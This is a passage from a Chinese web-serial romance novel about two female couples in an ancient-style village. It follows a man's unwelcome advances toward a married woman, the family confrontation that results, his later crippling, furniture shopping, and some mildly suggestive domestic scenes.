怎会呢,屠户大多天不亮便要起身,堂嫂又不会杀猪,何必起的那样早。 剧情在不知不觉中发生了偏移,沈惜枝不知为何今日特别厌恶这宋星川,见妻子还与她说话,不由伸手拉了拉她,垂下眸子,声音温软,“我们回去吧,我困了。” 正好,宋渝归也懒得和宋星川说话,点点头,“你既困了我们就赶紧回去。” 可回村的路只有这一条,跟宋星川走在一起总是不得劲儿。 沈惜枝犹豫片刻,素手拉着妻子,带她往左边走去。 回村的人一般都走右边,但沈惜枝不想和宋星川走的太近,左边既没有,她们走左边好了,若宋星川再跟过来,她们就换到右边! 哼。 第78章 无耻男人,勾引我的妻子 从前都是宋渝归紧盯着让媳妇儿莫与宋星川来往,今日一回去,小枝儿竟主动投进她怀里,声音委屈又有些闷闷的,“妻君,我不喜欢宋星川,以后我们不要与他说话好不好?” 这话她常说,第一次从媳妇儿嘴里听到,颇为惊喜,“嗯?怎么了,他今日惹到你了吗,好,我们不理他。” 沈惜枝想与妻子说他偷看自己的事,又不想让妻子吃醋生气,反正她总与渝归姐姐在一起,日后也很难碰见对方的。 沈惜枝想着,往宋渝归怀里更深的挤了挤。 “他对我不礼貌。” “我看着他也是个没礼貌的性子。” 宋渝归点点头,抬手抱住老婆,在老婆毛茸茸的后脑勺撸了好几下,温声道,“那我们以后不理他,看见他就赶紧走,好不好?” “嗯嗯。” 真乖。 她在人嘴角亲了亲,手指若有似无揉着小腹,还有一点点往下的趋势。 小媳妇儿软糯糯,“我月事好像要来了。” 来月事? “那可得在月事前头好好弄一下,等你来月事了,我便碰不得你了。” 柔嫩的唇瓣又被人含进嘴里,反复吮允。 沈惜枝脸颊泛着红晕,被人亲的七荤八素,迷迷糊糊道,“那你要轻点呀。” “不能再咬我了,晚上睡觉会疼的。” 想到屁股上的牙印,还有那隐秘之处也被尖利的牙齿咬过,小姑娘皱了皱眉,小嘴也撇着,模样颇有些委屈。 宋渝归心软的揉揉肥软雪白的娇臀,轻声答应,“嗯,今儿不咬。” 女子来月事前后情绪总会暴躁一些,她若敢咬,指不定半夜就被暴起的老婆踢下床了,这谁不怕。 沈惜枝听她答应,满心只有对妻子的信任,瞬间在她怀里软了身子,任由她将自己摊在圆桌上。 她隐约知道渝归姐姐想做什么,但阻止不了,也无力阻止,不让她弄,她会惦记的。 到时又磨的人不得安生。 沈惜枝小脸红彤彤想着。 宋渝归低头亲她,屋外春风和煦,屋内也满是春风。 一夜过去,第二日沈惜枝果然来了月事。 幸好她们有所预感,晚上穿了月事带,不然又要弄脏床单了。 宋渝归起身点了盏油灯,数着手里的银子,见有二十九两之多,开口道,“你今日在家里休息,别去镇上了,等你月事过去了,我们一起去挑家具?” “哦。” 每回来月事,妻君就不许她跟去镇上,虽然习惯了,但是…… 沈惜枝磨磨蹭蹭想,还是有点不高兴。 她想跟妻子一起的。 宋渝归温声哄人再睡一会儿,将她强摁在被窝里,自己推着车迎着清晨的浓雾走了。 却不知白日,经历过警告,很久不敢走这条路上山的男主宋星川竟然摸过来了。 他心中想着,只是来看一眼,又不是来寻厢月的,她那表妹应该也不会说什么,再霸道也不能连路都不让走啊。 想到沈惜枝,宋星川不由呆呆立在对方门前,望着那气派的青砖瓦房,说不出话来。 他心里竟然莫名生了自卑之意,觉得有些配不上。 但转念一想,沈惜枝身世凄惨,只是想求个庇护之所罢了。 她不是那等贪财之人。 池厢月与楚晚棠夜间玩了许久,白日便也起的晚些,此时还没醒,才由得沈惜枝出来见了宋星川。 她听妻子的话,又钻回去睡了一会儿,此时天彻底亮了才起身,舀了谷物准备出来喂一喂小鸡,谁知刚踏出门口,便见到那叫自己厌恶极了的人。 眉心一皱便要往回走,然而对方开口更快,“堂嫂。” 沈惜枝:…… 叫什么叫,就显得你有嘴了。 小枝儿是体面人,即便再厌恶人家,可人家叫她了,她总不会无视的。 因此转过头,勉强笑着继续去给鸡放谷物,“堂弟路过我家?” 他两手空空,又是这么一大早的,只能想到是路过她家,要去山上。 宋星川一见到沈惜枝,就似有些羞涩一般,但黢黑的脸上并看不出来,只能瞧出几分紧张。 憨厚的点点头,挠了挠后脑勺,才道,“堂嫂今日怎么在家中,没去镇上吗?” 他以为沈惜枝今儿也不会在的。 “嗯。” 沈惜枝微微点头,继续喂鸡。 以为宋星川说完就该走了,可偏生他站在那,跟立住了似的,就不走。 安静好一会儿,还憋出一句,“辛苦你了。”的话来。 沈惜枝惊讶抬头,还以为自己听错了,满脸茫然,“啊,你说什么?” 宋星川鼓起勇气,又说了一遍。 “你……嫁与堂姐,辛苦你了。” 沈惜枝简直不敢相信自己听到了什么。 这种话,若从公婆嘴里说出来还没有什么,但怎么会从一个与她无甚关系的外男嘴里说出来? 他,他有什么资格说这话! 沈惜枝瞳孔地震,脸色瞬变,眉心紧拧,对这人印象再次跌到谷底,“你不过是我妻子的堂弟,我辛不辛苦与你何干,你,你家人是如何教你的!” 有病吧。 妻子几次说过宋星川许对她有意,但宋星川本人甚少表现出来,她便也只是淡淡的对他有些排斥,可今日,他竟敢说出这种话。 还好渝归姐姐不在,不然叫她听见了气都要气死。 宋星川见她生气,心中便慌了,下意识道歉,“抱歉,我,我很难得单独见你,一时情难自抑……” 沈惜枝吓得往后退了好几步。 疯了,疯了吧! 漂亮姑娘登时花容失色,厉声道,“我与你从未有过任何关系,你胡说什么,快些离去,莫要坏我名声!” 沈惜枝都要气死了,自从离开妻子好了之后,她哪遇见过这等人,明明长得是个人样,行事却如泼皮无赖般。 谁家好人会对一个与自己无甚关系的人说出这种话啊,仿佛心疼怜惜一般,荒谬,太荒谬了。 宋星川没成想她反应如此大,以为是自己孟浪惹了她生气,面上一慌,不知为何,看见堂嫂生气,他心里便跟针扎似的疼,透着懊悔与疼惜。 “对,对不起,堂嫂,我只是心疼你,没有人在意你的心意,若是,若是我早些遇见你,绝不会叫你被迫成了磨镜,违逆心意……” 他磕磕绊绊说了一通话,沈惜枝越听眼睛睁的越大,手指都在发抖,他在说什么胡话,他得失心疯了吗? 谁说我成磨镜是被迫的? 谁说我违逆心意了? 怪不得渝归姐姐一直不喜欢他,原来是个疯子! 沈惜枝吓得俏脸雪白,远远望去只觉得女子柔美脆弱。 家中无人,她生怕这个疯子一脚从她栏杆上跳进来,行不轨之事。 怕死了。 “你在说什么胡话,再不离开我可喊人了!” 幻想之中的美人泪眼盈盈欲语还休并未出现,他这几日梦中,总梦到沈惜枝与她说嫁与女子非她所愿,她最恨的便是磨镜了。 他以为自己这样说,或许能触动对方的心弦,让她对他放下防备,或许他可以劝说沈惜枝与堂姐和离,然后给她一个栖身之所,她会感激的。 然而事实是,对方眼中的厌恶惊惶让他也跟着白了脸,怎么会这样。 惹她生气了吗? 可她明明不喜欢磨镜的,不该因被他说中心事,而难过依赖他,盼着他能帮她吗? 宋星川心中一慌,沈惜枝已然去门口拿了扫帚,气势汹汹过来赶人,“你,你赶紧走,日后不要再来我家门口了,否则我将此事告诉渝归姐姐,你别想好过!” 渝归姐姐肯定会生气,会很护着她,不会给宋星川好脸色的! 宋星川慌乱的摆摆手还欲解释,沈惜枝却更是气红了脸,“快滚出去,别在我家门口!” “不,不是的,我并非有意……” “闭嘴,别再胡言乱语了!” 沈惜枝反应大极了,宋星川恐再待下去真要引旁人注目,不得不失魂落魄离开。 等人走远了,沈惜枝惊慌的捂住胸口,轻咬薄唇,心里简直不知道怎么办才好了。 家中只她和渝归姐姐两个女子,对上一个强壮的成年男子,她自然是害怕的。 若是,若是这人起了邪念,伤害渝归姐姐怎么办? 往常来月事的第一天,沈惜枝总会腹痛难忍,今日却压根儿没注意到肚子疼不疼,满腹心思都在该死的宋星川身上。 等宋渝归回家便对上一脸忧色的妻子。 她一愣,以为她还在因不能上镇而不高兴,走过去揉了揉媳妇儿软糯的脸颊,温声哄她,“等月事走了我再带你去镇上,你现在不能太累,乖。” 她的手在进屋之前刚洗过,刺的人一个激灵。 沈惜枝听见熟悉的声音,那样温柔自然,心中骤然升起害怕与酸涩,抬起微红双眸,瞧着像是委屈要哭了,宋渝归一愣,顿时手足无措,“不是,今儿早上不还好好的吗,我说不许你去镇上也没有生气啊,这是怎么了,咋还哭了呢,不哭不哭,跟我说说,自个儿心里又胡思乱想了什么?” 她将妻子小心翼翼的抱起,自己坐在凳子上,把她放在膝盖上,揽着她的腰,温声询问。 沈惜枝知这件事绝不能再瞒着妻子,可想到那宋星川的狂妄之举,她在心里又恶心又害怕。 渝归姐姐可会因此生出什么误会? 不,不会的,渝归姐姐会信我的。 沈惜枝欲言又止,宋渝归岂能看不出来? 捧着人的小脸跟着她眉心紧蹙,兀自猜测着,“是不是有人欺负你了?还是肚子疼?我去给你煮点糖水喝好不好?” 沈惜枝摇摇头,紧紧抱着妻子的脖子不放,嘴巴动了动,却没有说话,而是第一时间去寻妻子唇瓣,一下一下啄吻起来。 池厢月拉着表妹进来蹭饭,见到的就是这一场景,两人齐齐愣住了。 好一会儿,表妹才挑了挑眉,扭头看着表姐。 表姐哪敢看她啊,心里早就求奶奶告爷爷了,别让我表妹学去,求求了千万别让我表妹学去。 楚晚棠只看她一眼,便知她心中所想,抬起下巴,矜傲的哼了一声,没理她,转而看向宋渝归与沈惜枝,认真学习起来。 可惜两人早在她们进来时就发现她们,并已分开了。 惜枝红着脸,埋首在宋渝归怀里。 宋渝归摸摸她的脑袋,声音愈发温柔,“到底怎么了,为何不与我说说?” 听她问,池厢月疑惑,“什么怎么了,今天出什么事了吗?” 她和表妹睡到此时才起身,当真是对外面的事一丁点儿也不知道。 沈惜枝不知自己该不该说,但池姑娘和楚姑娘与她也算朋友,犹豫了一会儿,她才小声道,“是和渝归姐姐堂弟有关的。” 她厌恶宋星川,如今连他的名字也不愿提了,想到对方那副仿佛怜惜她受了委屈的嘴脸,她就觉得恶心想吐。 “我堂弟?” 宋渝归一时没想起来,懵了一下,反应过来后脸色瞬间冷沉,“宋星川?” 池厢月也没想到事情会与宋星川有关,第一时间去看表妹脸色,心想,这可不是我要提到宋星川的与我无关啊,你不能污蔑我! 楚晚棠也在听见宋星川时脸色一凝,她自然觉得宋星川有古怪,表姐不可能无缘无故对一人如此上心,只可惜并无证据,否则她非得杀了宋星川不可。 活人哪有死人叫人安心。 楚晚棠心想着。 她第一次开口询问,“宋星川怎么了,惜枝姑娘,他找你麻烦了吗?” 沈惜枝犹豫的看了看妻子,紧咬着唇瓣,想到楚晚棠身边那个带剑侍卫,告状的话语脱口而出,含着委屈的泪意,“他,他轻薄我……” “什么!” 宋渝归暴怒,将人抱着愤怒的站了起来,那张脸凶的跟要吃人似的。 “好啊,昨晚我就看出不对来了,果然不是什么好东西!” 她脸青一块白一块,那咬牙切齿的模样,仿佛要将宋星川生吃了,吓池厢月一跳。 楚晚棠亦是有些诧异,接着便全然冷了脸色,“呵,他莫非还想着万花丛中过?也不看看自己是个什么货色!” 若非表姐为避世来到此处,那般男子,这辈子连直视她的机会都没有,焉敢肖想她表姐,肖想表姐不成,竟又去寻第二个,怎么,还以为漫山遍野的女子任他挑选? 她楚晚棠,最是厌恶三心二意的男子! 池厢月也气愤不已,瞪大眼睛,“轻薄你?他竟敢轻薄你?反了天了,惜枝你别怕,我去警告他,不许他再出现在你面前,不然打断他的腿!” 楚晚棠亦是一脸冷色,心想,何须等他再出现才打断他的腿? 宋渝归气的心都要跳出来了,从脸颊到耳朵到脖子都是红的,怒气沉沉问,“他碰你了?” 啊啊啊啊啊啊老娘要去剁了那瘪犊子的狗爪,男主了不起啊,男频男主很了不起吗? 你是男主就可以随便轻薄别人的老婆吗? 什么神经病啊! 沈惜枝生怕妻君误会是那种轻薄,心里被恶心了一遭,连忙开口解释,“不是的,没有碰到我,他就是站在外面,说什么辛苦我了,还说我是被迫成了磨镜,后悔没有早些遇见我的话……” 这类话她复述一遍都觉得难受,世上怎会有如此厚颜无耻之人! 他是谁,凭什么来心疼我媳妇儿,我媳妇儿才不要他心疼呢! 而且我媳妇儿跟我日子过得好好的,他心疼个锤子。 气发财了。 好久,宋渝归的理智才勉强回来一些,把媳妇儿放凳子上,冷声道,“我去找他,问问他今日是什么意思!” 池厢月也拔了剑,气势汹汹,“对,问问他,何故勾引我们惜枝!” 但她被楚晚棠拦下了,“你凑什么热闹,若叫姨父知道你拔了剑去寻人吵架,非得好好训你一顿不可。” 池厢月也顾不得自己和表妹别扭的关系了,一把按下表妹的手握住,一双澄澈的眸子认真看着她,“教训就教训,那我也不能看着惜枝平白被人欺负。” 她还想去,又被拉住,楚晚棠神色淡淡的,“你我不能在乡野间闹出太大动静,以免泄露了踪迹,但你要相信,恶人有恶报。” 池厢月嘴角抽了抽,“何时你也信这种话了?” “你得信。” 楚晚棠只说了这一句,便没再说什么,屋外的流筝得了眼色,倒是悄无声息离开。 宋渝归一个人,气势汹汹过去敲了宋星川家的门,开门的是宋星川的母亲,她勉强控制住脾气,“姨,我找宋星川。” 她本就生的不大良善,平日里又声名在外,是村里有名的小混混,虽然后来改善不少,但沈姨身体不好,甚少出门,对她后来那些好名声,都没怎么听过,仍将她当做从前的混混,便有些紧张,“你找星川?找他有什么事吗?” “有点话想和他说。” 心里存着事,宋渝归很难笑出来,冷着脸的样子更叫人心慌了。 宋星川的母亲姓沈,周边人唤她沈姨,她提着一口气道,“你,你想说什么,星川不在,与我说也是一样的。” “沈姨,您是长辈,我不方便和你说。” 她总不能指着沈姨的鼻子骂她教子无方吧? 虽然很想这么做,但她从小就比较有礼貌,有点做不出来。 正好这时,宋星川回来了,他刚走到家门口看见宋渝归,一愣,见她面色不善,似乎便知道她是为何而来的,脸色微白。 任谁都能看出他不大自在。 沈姨皱眉,心想难道是星川先招惹了这混混? 心中愈加紧张,怕闹出什么不好看的事来。 宋星川轻声说,“我们去那边聊聊吧。” 宋渝归冷声,“你觉得这话适合在外面聊吗?你不要脸我还要脸!” 他没想到她会直接找上门来,他以为……对方家毕竟是两个女子,碰上这等事也只能忍着。 最后还是沈姨开口请了她进去。 但她不肯走,非要知道宋渝归找宋星川何事,活像怕她欺负了人似的。 宋渝归想起小说里宋星川的母亲一口一句惜枝狐媚勾引男人,心中也生了几丝恶意,狠狠道,“你儿子勾引我的妻子,你不如去问问他!” 沈姨震惊瞪眼,下意识否认,“不可能,星川怎么会做这种事,莫不是你误会了什么?” “呵。” 她看向宋星川,“你今日到我妻子面前的胡言乱语,是我误会了吗?” 宋星川脸色极不自然,沈姨看了,心中一个咯噔,便觉不好,下一刻,竟听见她素来稳重孝顺的儿子沉声说,“我说的本就是实话,若非你趁人之危,强娶了她,她本也不会嫁与一个女子,女子结合有违天和,我不相信她是自愿留在你身边的。” 宋渝归脸色更冷了,看向沈姨,那眼神仿佛在说,误会? 沈姨气的手都抖了,她从来不知道,自己的儿子什么时候竟生了这种混账心思,喜欢宋渝归这个磨镜的妻子? 荒谬,太荒谬了。 她身子抖的站不稳,宋星川慌了神,连忙去扶,却被啪的响亮一声打的偏过头去。 宋渝归见状,心里的气才稍稍消了一些。 冷脸道,“沈姨,我敬重您是长辈,我家里只有我和惜枝两个女人,没有长辈做主,也不想让惜枝被人传什么闲话,今日之事不希望在其他人嘴里听到,您就告诉我,宋星川日后可还会再出现在我妻子面前?” 沈姨打了人之后,就勉强扶着墙站稳了,宋星川想去扶她,却被一把推开,她没想到自己的儿子竟然能对有妻之人生出异样的情感,当初她还以为……星川喜欢的是那位夫子的女儿。 她对那吃苦耐劳的姑娘印象也甚是不错。 可谁知,不是那位姑娘,竟然是村里有名的磨镜妻妻,于她而言落差何等之大,她简直接受不了! 她眼睛都红了,被小辈找到家里来说她儿子勾引人,简直是把她的脸面扔到地上踩,狠狠望了一眼仍有不服不愿的宋星川,咬牙答应下来,“星川日后绝不会出现在你妻子面前,他年纪小不懂事,或许是……” “年纪小吗,我记得堂弟比惜枝都要大一点,今日他来惜枝面前胡言乱语一通,可把她吓得不轻,否则我也不会走这一遭。” 沈姨想给宋星川找个理由,可她,找不到! 她真不知道宋星川是怎么了,一年到头不开窍,临了竟然喜欢别人家的媳妇儿,想必还说了什么孟浪之语,否则人家怎么会直接过来意指他勾引人! 宋星川对娘亲的承诺很是不满,刚叫了声娘就又被扇了一巴掌,清脆响亮,他娘恨恨道,“你若是想让你爹在九泉之下安心,就给我闭嘴!” 用尽全力的两巴掌足以叫人脸红肿起来,见他娘把他爹搬出来,宋星川终于惴惴不安的闭了嘴。 沈姨强笑着送了把宋星川臭骂一顿的宋渝归离开,等回来时又冷脸强撑着叫宋星川到他爹牌位前跪着,刚要训话,就眼前一黑,晕了。 宋星川家一阵兵荒马乱。 第79章 “我与表姐琴瑟和鸣” 宋渝归回去后,抱着自家受了惊吓的妻子好好哄了一通,两人打定主意日后再也不理那个神经病了。 没想到不过几日,她们就听到消息,说宋星川上山时不慎摔断了腿。 因在山上许久才被人发现背下山来,那条腿是接不回去了,从此只能做一个瘸子。 单纯的池大小姐也村里人说了这个,来到宋渝归家吃饭时还惊讶极了,“我去,真是恶有恶报啊,可见老天爷都看不过眼他胡言乱语了。” 宋渝归也笑了笑,“嗯,他活该罢了,我们不必管他。” 想必他日后也不会再出现了。 瘸腿了还能做男主吗? 她觉得应是不能了。 只沈惜枝悄悄看了楚晚棠一眼,见她眉目含笑,甚是愉悦的模样,默默低下头,将自己靠在妻子怀里。 宋星川活该落得如此境地,他那日几乎要将我吓死了。 左邻右舍仿佛都不在家,她生怕对方做出什么禽兽不如的事来。 “好了,我们也别聊他了,没得坏了心情,今晚吃烧酒鸭,各位有意见吗?” 古代没有啤酒,她便想用烧酒试试,做出来也不一定好吃,难吃就算各位倒霉。 池厢月一口应下,跃跃欲试,又是一个没听过的菜式,感觉很好吃的样子。 “能不能少放点酒,我怕我表妹喝醉了。” 醒着时都那般缠人了,若是醉了,她晚上不好过啊。 “嗯,本来要放的酒也不多。” 楚晚棠见表姐坐下,神色自然的理了理袖子,然后走过去,坐在表姐怀里。 这进一步的亲昵举动惊得池厢月差点把怀里人扔出去,幸好反应过来了,不然表妹也是不依的。 “你,你这是做什么,还有人呢,自己坐着不行吗……” 比起表姐的震惊浑身僵硬,楚晚棠倒是淡定多了,凤眸微微低垂,望了表姐一眼,“渝归姑娘和惜枝姑娘也是这么坐的,她们可以,我为何不行?” 宋渝归、沈惜枝:……这里面还有我们的事儿呢? 池厢月咬牙道,“这不一样!她们是妻妻!” 楚晚棠冷静又自如,勾着表姐的脖子,“所以你的意思是,我们也做妻妻就可以如此了?” 她手上用了几分力,将人压近自己。 池厢月:我不是我没有。 她霎时缩着脖子不敢说话了。 和表妹做妻妻? 她不会被舅舅暗杀吧? 好好的姐妹,表妹为何非要…… 哎。 池厢月说不过表妹,安静如鸡,怀里也照旧抱着表妹不放。 若松了手,今日又要不得安宁了,表妹非得闹得她一再道歉讨饶不可。 宋渝归觉得好笑,这两人每日闹,楚姑娘每日都强制爱,竟然还没与池姑娘修成正果。 沈惜枝下去做饭,她也跟在妻子身后,干脆把那两人扔在里面,任他们自己闹去吧。 屋里无人,楚晚棠不消一会儿便亲吻上了女子薄唇,池厢月想逃,却逃不掉,手指用力的掰着桌子边缘,没一会儿又被表妹硬掰下来,环住自己的腰。 她几乎要猛女落泪了。 曾几何时,她也是恣意随性,现在呢!被表妹看管的牢牢的,半点不得自由,呜。 池厢月悲愤的狠狠吮了一下表妹柔软的舌头。 被表妹嗔怪又满含风情的眼睛望了一眼。 做饭做到一半,池厢月就仿佛后面有老虎追着一般从房间里出来了,嘴唇红肿,还死活非要给她们烧火。 宋渝归争不过她,只得将烧火的工作让与她。 楚晚棠在她之后出来,眼角眉梢都透着餍足,她也不在意屋里还有旁人,走到表姐身边娇嗔的推了推她,“都怪你,我舌头都疼了。” 池厢月:…… 我以为我脸皮很厚了,但与表妹比起来,我又算什么呢? 沈惜枝小小的哇了一声,扭头害羞钻进妻子怀里。 太羞人啦。 “这,这不应怪我啊……” 要怪也该怪你自己才是,明明是你非要弄的。 可楚晚棠不听,她不讲道理,只淡淡的望着表姐,表姐便安静收声了,只在心里默默流泪。 屋里很快泛出浓烈的酒香,说是烧酒鸭,其实用的也并不是烧酒,酒是楚晚棠让人从京城送过来的上等好酒,不算烈,但酒香浓郁,用来烧了鸭子,刚揭开锅,酒香混着鸭香便盈满了整个庖厨,香飘十里,外头路过的人闻见都有些舍不得走了。 池厢月用力吸了两下,刚被表妹强行这样那样的悲愤又褪去了。 只余对吃饭的渴望,眼巴巴望着菜。 最后化伤心为食欲,狠狠吃了三碗饭才罢休。 这还是楚晚棠拦着她了,不然指不定要吃多少。 沈惜枝的月事几日就过了,两人约好明日一起去镇上看家具,因此吃完饭后休息了一会儿,又出去消消食,便回家睡了。 第二天起了个大早去卖肉。 家里的几只猪正在快速长大中,宋渝归算好了,让它们都先生两窝小崽子,然后再杀,公的留着当种猪,四只猪大约能挣四五十两银,生的小猪崽太多了也可卖一卖,又是一笔进项,感觉离攒下盘店的银子也很快了。 惜枝不需要盘一个很大的,先盘个小的便是,里面放四五张桌子,坐满就不卖了,这样也不会累着她。 宋渝归算了算,更感觉未来可期。 今日卖肉生意一般,到中午还剩小半肉没有卖掉,她们也不急着,先把肉锁好,便去看家具了。 沈惜枝一直在找合适的家具铺子,已经有看中一家的样式了,两人今日便直接过去,店里的床最昂贵的是拔步床,惜枝直接略过,她在看架子床。 掌柜的知道她来过几次,心中或许已经有主意了,便没过来打搅她。 她看了许久,才定下其中一张紫檀荷花纹床。 宋渝归去问了价,对方也利落,竖了两根手指,“二两。” 小姑娘咻一下站直了,小鹿眼也瞪的圆圆的,“那么贵!” 掌柜见她嫌贵,立马摆手道,“哎,不贵不贵,这可是紫檀木的床榻,你出去问问,方圆百里,当属我家最是实惠便宜了!” “啊,最实惠还这么贵啊。” 小姑娘不情不愿的,说出的话将那掌柜噎了一下,宋渝归有些不好意思的笑笑,见妻子嘴上说着贵,余光却有些可惜的一直望着那张床榻,显然还是喜欢的,但准备放弃了。 她摸摸对方毛茸茸的后脑勺,并没有如她一样打算放弃这张床,二两她觉得不算贵,更何况是床这种东西,买的好一点睡得也舒服,不出意外这可是得睡半辈子的。 “我们多买点别的东西,可以便宜些吗?” 无论能不能成,价总是要讲一讲的,万一真给她讲下来了呢。 见客人有要买的意思,掌柜也喜笑颜开,立马答应,“你若多买些,价钱自然好商量。” “嗯。” 两人也不止要买一张床,还有梳妆台,铜镜,桌椅之类。 最好再整个床头柜。 古代没这玩意儿,可她没有不习惯啊,可以用来放一放第二天要穿的衣服,很方便的。 两人之后便看了一座与架子床同等材质的梳妆台,配上一柄梨花镜,正正好。 除了这两样物件外,本着一劳永逸的想法,她们又买了两只绣墩,买了搭配架子床的帐幔,与吃饭用的圆桌,椅子,还有一个方方正正的矮桌子充作床头柜。 都是沈惜枝挑的,她心中早有喜欢样式,只是因价格在店中犹豫了半天。 宋渝归让掌柜的帮忙数了数,林林总总竟要花七两银子不止。 但掌柜的说了会给便宜些,因此大手一挥,抹了零头,便只收两人七两。 可是七两也很贵了,她们统共才存了三十两出头。 沈惜枝垂眸不舍,可她的妻子已经从钱袋子里掏出七两递过去了,她惊了一下,还在想能不能买便宜一些的,欲伸手去拦,被宋渝归眼疾手快握住那只手,收回来默默揣兜兜里。 “赚银子就是为了花的,新房子自然要配些好的物什。” “可是,这也太贵了。” 小姑娘过惯了苦日子,小嘴巴嘟囔着。 宋渝归将两人的住处留下,请店家派人把东西送去她家中,带着媳妇儿一边往外走,一边伸手揉了揉她软乎乎的唇瓣,“我们以后会买更贵的东西,我会让你过得比现在更好的,这并不算什么,你要早点习惯。” 现在的日子已经很好很好了,沈惜枝不敢想象更好的日子能好成什么样。 薄薄的唇瓣被轻抿了抿,一双眼睛全是光亮,“嗯!” 她很信任妻子。 两人后头又买了一套釉色均匀漂亮的梅子青餐具,随便吃了个饼子垫吧,肉卖的差不多就准备回去了。 今日生意不太好,没有卖完,留下了一些,她们自己也能吃。 两人推着推车,路过医馆,听见里面一女子带着哭音说着请求的话,声音有些耳熟,宋渝归下意识抬眼看去,竟是宋星川的母亲。 她愣了愣,沈惜枝顺着她的视线,一眼便看见了倒在地上脸色苍白,汗湿满脸的宋星川,亦是一愣。 她心中仿佛有压抑的情绪骤然散开了。 就像是……怨恨已久的人得到了教训。 心情豁然开朗,依赖的贴在妻子身上。 宋星川自然也看见了她们,却没有再失礼的盯着,而是仓皇无措收回视线。 他和他娘说自己的腿是不小心摔断了,然而事实是…… 那冷面女子几乎已经成了他的梦魇。 这条腿正是被对方一点一点敲断的。 娘还期盼能让他好起来,可是他自己知道,接不起来了,就算好了,对方也会再过来,把他的腿敲断的。 宋星川从未经历过如此恐怖的事,早已被吓住,只恨自己眼瞎,这次别说沈惜枝了,他看见女子就浑身发抖,再不能与女子共处一室了。 宋渝归视线从沈姨换到宋星川身上,只看了一眼,心里骂了一句真是活该,然后一手揽着自家娇娇软软的小媳妇儿,大步离开。 没有神经病,身边人都脱离了剧情,日子果然过得很舒坦。 家里的旧家具能送人的送人了,送不了她就拆了砍了烧火,也能管用好长一段时间。 猪也日渐长大,一共五只猪,正是长身体的时候,根本不满足于五背篓猪草。 宋渝归自己带着媳妇儿上山割,不够,带上女主也不够,割不赢,根本割不赢。 最后只得拜托了隔壁的李大娘帮她家割猪草,一日二十文。 这可比洗衣服来钱快多了。 帮人洗衣服若碰上那等小气的,一桶才不过一文钱,就算有大气些的人家,也不过五文钱,夏日给的钱便更少了,因为天热,洗衣裳还能图个凉快,大多人家更愿意自己洗。 就算让人帮忙洗,给的价格也十分低。 李大娘早就不乐意洗了。 相比起来,宋渝归这份工给的钱就丰厚多了,不过是多上两趟山,多割点猪草罢了。 她很乐意。 将家里最累人的活外包出去,这对小妻妻可算是轻松了,每日卖完肉回家便做饭吃饭,吃完休息一会儿,然后午睡,睡醒了出来喂喂鸡,找找有没有落网的鸡蛋,若是得空再拿上砍刀去山上砍柴。 古代生活虽娱乐少,但也算平静,宋渝归觉得,日子很有一些盼头。 与此同时,池厢月与她表妹间的关系也发生了一些变化。 小表妹又是日上三竿才起的床,声音含含糊糊,懒洋洋的,还带着些许沙哑,“都说了叫你别折腾这么晚你不听,今儿连午饭都没赶上。” 表姐本想去隔壁吃午饭的,可她又睡的起不来,自然而然并未赶上午饭,看这时辰,都已经申时了。 池厢月醒的比表妹早一点,但也早不到哪去,表妹依在她怀里,她动都不敢动。 此时被表妹调笑,也只能痛苦埋胸。 谁知道她昨晚发什么疯,仿佛看见表妹脸上露出不同以往的欲色后,便忍不住内心躁动。 又想到表妹威逼了她这么久,更是悲从中来。 一时间气愤的想,要的是你,说不要的又是你,我凭什么都听你的? 于是她抓着不许表妹睡,将她浑身上下都啃了一遍,表妹一闭上眼睛就会被她摇醒,她也没干什么人事,将人欺负的狠极了,小表妹浑身上下,没一处好地方,都被亲出痕迹来。 直到天微微亮了,两人才睡去。 楚晚棠不比表姐,如此小心眼,即使被这样对待,她也并不大生气,只是觉得身子有些酸,便更加赖在表姐怀里,声音慵懒,“别埋了,你今日可得给我揉腰。” 不然她有些直不起来。 池厢月晚上凶,一到白天又成了一只鹌鹑,老老实实应一声,“哦。” 然后从表妹雪白柔软的两团上起来,让表妹伏过身去,老老实实给她揉腰,女子的小腰纤细,触感滑腻,摸上去只觉得极舒服。 揉了两下,表妹微微蹙眉,“你轻些,从前还知道一点怜香惜玉,如今却全然如木头一般了。” 笨笨的。 池厢月鼓了鼓腮帮子,还是没忍住,不太高兴 ,“那你别让我给你捏了,又不是我要给你捏的,你要求这样高,不如找别人给你捏!” 表妹头也不回,便淡声道,“真找了你又不高兴,轻一点,不然我喊流筝进来也行。” 她虽知道心急吃不了热豆腐,但听表姐这样说,难免还是有些失落,便在最后又刺了她一句。 池厢月抿着嘴嘟囔,“你也就会欺负我了。” 手上力道却明显轻了很多,正正好叫人感觉舒服。 “你若不愿,我欺负的了你吗?” 小表妹今日格外直白,她又被噎了一下,默默闭嘴,给人安静的揉了好一会儿腰,楚晚棠才翻过身仰面躺着,但也并非安生躺着,那双狭长凤眸,静静地望着表姐,薄唇轻启,提出要求,“过来,亲我。” 池厢月:…… 悲愤欲绝,“你就不能害羞一点吗!” 楚晚棠撇了撇嘴,害羞? 她要是害羞,就一辈子无法与表姐在一起了。 她才不要害羞呢。 “亲不亲?” 池厢月嘴角动了动,到底没说什么,气愤低头,在表妹嘴上啃了一口。 表妹哼哼,“你怎么从昨日到今日都跟小狗崽子一样。” 老喜欢咬人。 还说我是狗! 池厢月没忍住,又啃了一下,表妹的唇是甜的,舌头也是甜的。 她哪哪儿都是甜的。 楚晚棠被亲的舒服了,眉目舒展,唇角微勾,缓声问,“你还要别扭到什么时候,与我在一起便这般让你难以接受吗?” 池厢月不说话,最后舔了她两下,翻过身子背对着她装死。 她就当自己是个聋子。 楚晚棠也没有要逼她立马做出答复的意思,现在这样时时能欣赏表姐一副受辱被胁迫,动作却很诚实的样子也十分有意思。 只是……当日下午,两人收拾好,还没来得及去隔壁吃饭,池景明便回来了。 手中攥着一张信纸,面色略微凝重。 与外甥女说,“京中来信,你父亲说你到了议亲的年纪,想让你回去挑选一下未来郎婿。” 楚晚棠还没什么反应呢,池厢月当即面色大变,“什么?!不行,我不答应!” 池景明看过去,神色间一阵无语,“你有什么好不答应的,你自己混不吝,总不能叫棠儿与你一般。” 我,我当然不能答应,旁人不知道我自己还不知道吗,棠棠可是与我……怎能嫁给旁人?! 池厢月咬牙,正想再说点什么,一抬头却对上表妹含笑的脸,脸色骤然一僵,反应过来,她方才这般姿态,就跟……吃醋了一样,表妹肯定在心里笑话她呢! 可让表妹回京,她也做不到,疯了不成。 表妹与她虽都是女子,但她们已经有妻妻之实了! 怎能回京另嫁他人? “棠儿,我为你备马让月儿送你回去吧。” 池景明直接无视了池厢月,不知她在发什么疯。 池厢月目光灼灼盯着楚晚棠。 